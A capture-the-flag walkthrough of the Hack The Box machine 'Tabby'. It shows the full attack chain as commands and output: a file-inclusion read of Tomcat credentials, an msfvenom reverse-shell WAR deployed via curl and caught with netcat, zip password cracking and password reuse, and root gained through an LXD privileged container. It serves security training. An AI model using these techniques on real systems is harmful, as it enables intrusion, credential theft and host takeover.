Tabby

TL;DR

  • Exploit the LFI on the first website to retrieve the tomcat-users.xml file
  • Connect as tomcat to the Tomcat server and deploy a malicious war file containing a reverse shell
  • Crack the backup zip file on the first website to find ash’s password
  • Create a privileged container with LXD to get root

User.txt

Reconnaissance

Let’s start by a Nmap scan:

magnussen@funcMyLife:~/tabby$ nmap -sS -sV -sC -p- -vvv --min-rate 5000 --reason -oN tabby.txt 10.10.10.194
# Nmap 7.60 scan initiated Sat Jul  4 18:30:23 2020 as: nmap -sS -sV -sC -p- -vvv --min-rate 5000 --reason -oN tabby.txt tabby.htb
Increasing send delay for 10.10.10.194 from 0 to 5 due to 140 out of 466 dropped probes since last increase.
Increasing send delay for 10.10.10.194 from 5 to 10 due to 188 out of 625 dropped probes since last increase.
Warning: 10.10.10.194 giving up on port because retransmission cap hit (10).
Nmap scan report for tabby.htb (10.10.10.194)
Host is up, received echo-reply ttl 63 (0.11s latency).
Scanned at 2020-07-04 18:30:23 CEST for 210s
Not shown: 50968 closed ports, 14564 filtered ports
Reason: 50968 resets and 14564 no-responses
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http?   syn-ack ttl 63
8080/tcp open  http    syn-ack ttl 63 Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul  4 18:33:53 2020 -- 1 IP address (1 host up) scanned in 210.27 seconds

So we find 3 useful services:

  • SSH (22)
  • Apache (80)
  • Apache Tomcat (8080)

The first website (80) is a commercial website.

Website

The second website (8080) is Tomcat’s installation page.

Tomcat

LFI

On Tomcat’s default installation page we see that the credentials are stored in /etc/tomcat9/tomcat-users.xml and CATALINA_HOME is /usr/share/tomcat9.

We cannot access to the management interfaces as they’re protected by an .htaccess file.

htaccess

In the Mega Hosting website we see that the news.php page is redirecting to megahosting.htb and that it uses a parameter called file to include a page.

Let’s add megahosting.htb to our /etc/hosts and check the page.

magnussen@funcMyLife:~/tabby$ cat /etc/hosts
10.10.10.194    tabby.htb
10.10.10.194    megahosting.htb

news.php

Let’s see if we can include an other file instead of statement.

passwd

It works! We’ve managed to read the /etc/passwd.

Let’s try to read /usr/share/tomcat9/etc/tomcat9/tomcat-users.xml:

I’ve struggle a lot on this step, it wasn’t clear to me that /etc/tomcat9/tomcat-users.xml was not an absolute path but a relative path from CATALINA_HOME.

tomcat_users

So we have the credentials to log in in tomcat’s management interface: tomcat:$3cureP4s5w0rd123!.

Malicious War

We have a 403 error if we try to access http://megahosting.htb:8080/manager/html.

403

And we can access http://megahosting.htb:8080/host-manager/html.

Vhost Manager

One common way to get an RCE with Tomcat is to deploy a malicious war file.

A Web Application Resource or Web application ARchive is a file used to distribute a collection of JAR-files, JavaServer Pages, Java Servlets, Java classes, XML files, tag libraries, static web pages and other resources that together constitute a web application.

First of all, let’s create our malicious war file with msfvenom:

magnussen@funcMyLife:~/tabby$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.178 LPORT=7777 -f war -o magnussen.war
Payload size: 1096 bytes
Final size of war file: 1096 bytes
Saved as: magnussen.war

We can’t access http://megahosting.htb:8080/manager/html to deploy our war file, but after reading this article we see that there’s an other way to deploy war files.

Tomcat Manager App has two options for managing application, a web-based application (accessible through a browser) and a text-based web service for scripting.

So we can deploy our war file with a curl to this endpoint /manager/text/deploy.

magnussen@funcMyLife:~/tabby$ curl --user 'tomcat:$3cureP4s5w0rd123!' --upload-file magnussen.war http://tabby.htb:8080/manager/text/deploy?path=/magnussen.war
OK - Deployed application at context path [/magnussen.war]

We specify the credentials to login and the file we want to upload.

It works! We can run our reverse-shell by browsing to http://megahosting.htb:8080/magnussen.war.

reverse_shell

magnussen@funcMyLife:~/tabby$ nc -lvp 7777
Listening on [0.0.0.0] (family 0, port 7777)
Connection from tabby.htb 59048 received!

Yeah! We have a shell! Let’s get that user.txt!

Zip cracking

We can see that the user is called ash and that we have a backup zip on the first website:

python3 -c 'import pty; pty.spawn("/bin/bash")'
tomcat@tabby:/var/lib/tomcat9$ ls -alh /home
ls -alh /home
total 12K
drwxr-xr-x  3 root root 4.0K Jun 16 13:32 .
drwxr-xr-x 20 root root 4.0K May 19 10:28 ..
drwxr-x---  4 ash  ash  4.0K Jul  6 10:10 ash
tomcat@tabby:/var/lib/tomcat9$ ls -alh /var/
ls -alh /var/
total 56K
drwxr-xr-x 14 root root   4.0K May 21 10:31 .
drwxr-xr-x 20 root root   4.0K May 19 10:28 ..
drwxr-xr-x  2 root root   4.0K Jul  6 10:23 backups
drwxr-xr-x 15 root root   4.0K May 21 10:31 cache
drwxrwxrwt  2 root root   4.0K Apr 23 07:35 crash
drwxr-xr-x 46 root root   4.0K Jun 17 16:22 lib
drwxrwsr-x  2 root staff  4.0K Apr 15 11:09 local
lrwxrwxrwx  1 root root      9 Apr 23 07:32 lock -> /run/lock
drwxrwxr-x 11 root syslog 4.0K Jul  6 10:05 log
drwxrwsr-x  2 root mail   4.0K Apr 23 07:32 mail
drwxr-xr-x  2 root root   4.0K Apr 23 07:32 opt
lrwxrwxrwx  1 root root      4 Apr 23 07:32 run -> /run
drwxr-xr-x  5 root root   4.0K May 19 10:41 snap
drwxr-xr-x  4 root root   4.0K Apr 23 07:33 spool
drwxrwxrwt  2 root root   4.0K Jul  6 10:05 tmp
drwxr-xr-x  3 root root   4.0K May 21 10:31 www
tomcat@tabby:/var/lib/tomcat9$ ls -alh /var/www/html
ls -alh /var/www/html
total 48K
drwxr-xr-x 4 root root 4.0K Jun 17 16:24 .
drwxr-xr-x 3 root root 4.0K May 21 10:31 ..
drwxr-xr-x 6 root root 4.0K Mar 31  2016 assets
-rw-r--r-- 1 root root  766 Jan 13  2016 favicon.ico
drwxr-xr-x 4 ash  ash  4.0K Jun 17 21:59 files
-rw-r--r-- 1 root root  14K Jun 17 16:24 index.php
-rw-r--r-- 1 root root 2.9K May 21 11:42 logo.png
-rw-r--r-- 1 root root  123 Jun 16 11:19 news.php
-rw-r--r-- 1 root root 1.6K Mar 10  2016 Readme.txt
tomcat@tabby:/var/lib/tomcat9$ ls -alh /var/www/html/files
ls -alh /var/www/html/files
total 36K
drwxr-xr-x 4 ash  ash  4.0K Jun 17 21:59 .
drwxr-xr-x 4 root root 4.0K Jun 17 16:24 ..
-rw-r--r-- 1 ash  ash  8.6K Jun 16 13:42 16162020_backup.zip
drwxr-xr-x 2 root root 4.0K Jun 16 20:13 archive
drwxr-xr-x 2 root root 4.0K Jun 16 20:13 revoked_certs
-rw-r--r-- 1 root root 6.4K Jun 16 11:25 statement

Let’s download that file at http://megahosting.htb/files/16162020_backup.zip and check its content:

magnussen@funcMyLife:~/tabby$ unzip 16162020_backup.zip
Archive:  16162020_backup.zip
   creating: var/www/html/assets/
[16162020_backup.zip] var/www/html/favicon.ico password:
   skipping: var/www/html/favicon.ico  incorrect password
   creating: var/www/html/files/
   skipping: var/www/html/index.php  incorrect password
   skipping: var/www/html/logo.png   incorrect password
   skipping: var/www/html/news.php   incorrect password
   skipping: var/www/html/Readme.txt  incorrect password

Ok, so the zip is protected by a password, not a problem, let’s crack it with JohnTheRipper:

magnussen@funcMyLife:~/tabby$ ./tools/JohnTheRipper/run/zip2john 16162020_backup.zip > hash.txt
16162020_backup.zip/var/www/html/assets/ is not encrypted!
ver 1.0 16162020_backup.zip/var/www/html/assets/ is not encrypted, or stored with non-handled compression type
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/favicon.ico PKZIP Encr: 2b chk, TS_chk, cmplen=338, decmplen=766, crc=282B6DE2
ver 1.0 16162020_backup.zip/var/www/html/files/ is not encrypted, or stored with non-handled compression type
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/index.php PKZIP Encr: 2b chk, TS_chk, cmplen=3255, decmplen=14793, crc=285CC4D6
ver 1.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/logo.png PKZIP Encr: 2b chk, TS_chk, cmplen=2906, decmplen=2894, crc=2F9F45F
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/news.php PKZIP Encr: 2b chk, TS_chk, cmplen=114, decmplen=123, crc=5C67F19E
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/Readme.txt PKZIP Encr: 2b chk, TS_chk, cmplen=805, decmplen=1574, crc=32DB9CE3
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
magnussen@funcMyLife:~/tabby$ ./tools/JohnTheRipper/run/john --wordlist=rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
admin@it         (16162020_backup.zip)
1g 0:00:00:00 DONE (2020-07-05 00:24) 1.234g/s 12803Kp/s 12803Kc/s 12803KC/s adnbrie..adambossmaster
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Ok so the password of the archive is admin@it.

magnussen@funcMyLife:~/tabby$ unzip 16162020_backup.zip
Archive:  16162020_backup.zip
[16162020_backup.zip] var/www/html/favicon.ico password:
  inflating: var/www/html/favicon.ico  
  inflating: var/www/html/index.php  
 extracting: var/www/html/logo.png   
  inflating: var/www/html/news.php   
  inflating: var/www/html/Readme.txt  
magnussen@funcMyLife:~/tabby$ tree var/
  var/
  └── www
      └── html
          ├── assets
          ├── favicon.ico
          ├── files
          ├── index.php
          ├── logo.png
          ├── news.php
          └── Readme.txt

The Readme.txt is from bootstrap.

Mmmh, not much here, it’s the same files as the one on the server, but as the owner of this archive is ash maybe we can use this password to login as ash.

tomcat@tabby:/var/lib/tomcat9$ su ash
Password: admin@it

ash@tabby:/var/lib/tomcat9$ cd
ash@tabby:~$ cat user.txt
cat user.txt
b0d4ef853ccc42049942013a2dcee553

Yeah! Just have to privesc now!

I AM ROOT

LXD

Let’s see what we can do:

ash@tabby:~$ sudo -l
sudo: unable to open /run/sudo/ts/ash: Read-only file system
[sudo] password for ash: admin@it

Sorry, user ash may not run sudo on tabby.
ash@tabby:~$ ls -alh
total 32K
drwxr-x--- 4 ash  ash  4.0K Jul  6 10:10 .
drwxr-xr-x 3 root root 4.0K Jun 16 13:32 ..
lrwxrwxrwx 1 root root    9 May 21 20:32 .bash_history -> /dev/null
-rw-r----- 1 ash  ash   220 Feb 25 12:03 .bash_logout
-rw-r----- 1 ash  ash  3.7K Feb 25 12:03 .bashrc
drwx------ 2 ash  ash  4.0K May 19 11:48 .cache
-rw-r----- 1 ash  ash   807 Feb 25 12:03 .profile
drwxrwxr-x 2 ash  ash  4.0K Jul  6 10:12 .ssh
-rw-r----- 1 ash  ash     0 May 19 11:48 .sudo_as_admin_successful
-rw-r----- 1 ash  ash    33 Jul  6 10:05 user.txt

Ash isn’t sudo and he doesn’t have a specific script that we might exploit, let’s run LinEnum to check how we can get root.

I’m creating a webserver on my machine to upload LinEnum on the box.

magnussen@funcMyLife:~/tabby$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Let’s download LinEnum and run it:

I’ve truncated the output of LinEnum for readability

ash@tabby:/tmp$ wget 10.10.14.178:8080/LinEnum.sh
wget 10.10.14.178:8080/LinEnum.sh
--2020-07-06 11:14:21--  http://10.10.14.178:8080/LinEnum.sh
Connecting to 10.10.14.178:8080... failed: Connection refused.
ash@tabby:/tmp$ wget 10.10.14.178:8000/LinEnum.sh
wget 10.10.14.178:8000/LinEnum.sh
--2020-07-06 11:14:37--  http://10.10.14.178:8000/LinEnum.sh
Connecting to 10.10.14.178:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/x-sh]
Saving to: ‘LinEnum.sh’

LinEnum.sh          100%[===================>]  45.54K   111KB/s    in 0.4s    

2020-07-06 11:14:37 (111 KB/s) - ‘LinEnum.sh’ saved [46631/46631]

ash@tabby:/tmp$ chmod +x LinEnum.sh
ash@tabby:/tmp$ ./LinEnum.sh
[+] We're a member of the (lxd) group - could possibly misuse these rights!
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)

Ok, so ash is a member of the lxd group, let’s see what we can do!

LXD is a container manager, it’s much closer to a standalone operating system than Docker containers. Docker containers all share the same networking stack and storage stack.

This article explains how to use LXD to get root.

ash@tabby:/tmp$ lxc list
If this is your first time running LXD on this machine, you should also run: lxd init
To start your first instance, try: lxc launch ubuntu:18.04

+------+-------+------+------+------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+------+-------+------+------+------+-----------+
ash@tabby:/tmp$ lxc image list
+-------+-------------+--------+-------------+--------------+------+------+-------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+-------+-------------+--------+-------------+--------------+------+------+-------------+

We don’t have any containers or images, we’ll have to create and upload our own.

magnussen@funcMyLife:~/tabby$ git clone  https://github.com/saghul/lxd-alpine-builder.git
magnussen@funcMyLife:~/tabby$ cd lxd-alpine-builder
magnussen@funcMyLife:~/tabby$ ./build-alpine
alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub: OK
Verified OK
Selecting mirror http://dl-8.alpinelinux.org/alpine/v3.12/main
fetch http://dl-8.alpinelinux.org/alpine/v3.12/main/x86_64/APKINDEX.tar.gz
(1/19) Installing musl (1.1.24-r9)
(2/19) Installing busybox (1.31.1-r19)
Executing busybox-1.31.1-r19.post-install
(3/19) Installing alpine-baselayout (3.2.0-r7)
Executing alpine-baselayout-3.2.0-r7.pre-install
Executing alpine-baselayout-3.2.0-r7.post-install
(4/19) Installing openrc (0.42.1-r10)
Executing openrc-0.42.1-r10.post-install
(5/19) Installing alpine-conf (3.9.0-r1)
(6/19) Installing libcrypto1.1 (1.1.1g-r0)
(7/19) Installing libssl1.1 (1.1.1g-r0)
(8/19) Installing ca-certificates-bundle (20191127-r4)
(9/19) Installing libtls-standalone (2.9.1-r1)
(10/19) Installing ssl_client (1.31.1-r19)
(11/19) Installing zlib (1.2.11-r3)
(12/19) Installing apk-tools (2.10.5-r1)
(13/19) Installing busybox-suid (1.31.1-r19)
(14/19) Installing busybox-initscripts (3.2-r2)
Executing busybox-initscripts-3.2-r2.post-install
(15/19) Installing scanelf (1.2.6-r0)
(16/19) Installing musl-utils (1.1.24-r9)
(17/19) Installing libc-utils (0.7.2-r3)
(18/19) Installing alpine-keys (2.2-r0)
(19/19) Installing alpine-base (3.12.0-r0)
Executing busybox-1.31.1-r19.trigger
OK: 8 MiB in 19 packages
magnussen@funcMyLife:~/tabby$ python3 -m http.server

After the build we have a tar.gz file. We have to upload it on the box and import it with LXC.

ash@tabby:/tmp$ wget 10.10.14.178:8000/lxd-alpine-builder/alpine-v3.12-x86_64-20200706_1334.tar.gz
<ne-builder/alpine-v3.12-x86_64-20200706_1334.tar.gz
--2020-07-06 11:59:25--  http://10.10.14.178:8000/lxd-alpine-builder/alpine-v3.12-x86_64-20200706_1334.tar.gz
Connecting to 10.10.14.178:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3188829 (3.0M) [application/gzip]
Saving to: ‘alpine-v3.12-x86_64-20200706_1334.tar.gz’

alpine-v3.12-x86_64 100%[===================>]   3.04M   159KB/s    in 29s     

2020-07-06 11:59:54 (108 KB/s) - ‘alpine-v3.12-x86_64-20200706_1334.tar.gz’ saved [3188829/3188829]
ash@tabby:/tmp$ lxc image import ./alpine-v3.12-x86_64-20200706_1334.tar.gz --alias myimage
ash@tabby:/tmp$ lxc image list
lxc image list
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
|  ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION          | ARCHITECTURE |   TYPE    |  SIZE  |         UPLOAD DATE          |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
| myimage | 5c11e70948f0 | no     | alpine v3.12 (20200706_12:35) | i686         | CONTAINER | 2.98MB | Jul 6, 2020 at 11:57am (UTC) |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+

Now we can create a container from the image we’ve imported, we’ll create a privileged container to access root account on the box and mount / to access all the resources from the host.

There’s two kinds of container in LXC: Privileged containers, the container uid 0 is mapped to the host’s uid 0 (root). Unprivileged containers where the container uid 0 is mapped to an unprivileged user outside of the container and only has extra rights on resources that it owns itself.

ash@tabby:/tmp$ lxc init myimage ignite -c security.privileged=true
Creating ignite
ash@tabby:/tmp$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
<ydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to ignite
ash@tabby:/tmp$ lxc start ignite

Now we just have to execute /bin/bash to get access to the host as root (/mnt/root is the mounting point on the container of /)

ash@tabby:/tmp$ lxc exec ignite /bin/sh
~ # ^[[22;5Rid
id
uid=0(root) gid=0(root)
~ # ^[[22;5Rcat /mnt/root/root/root.txt
cat /mnt/root/root/root.txt
fbab420fb22aafb77cc0b503acd54dee

I’ve really struggle on the LFI part as I was only focusing on the tomcat server and not the first website but the privilege escalation was really awesome and I’ve learned a lot, thanks Egre55 for the box!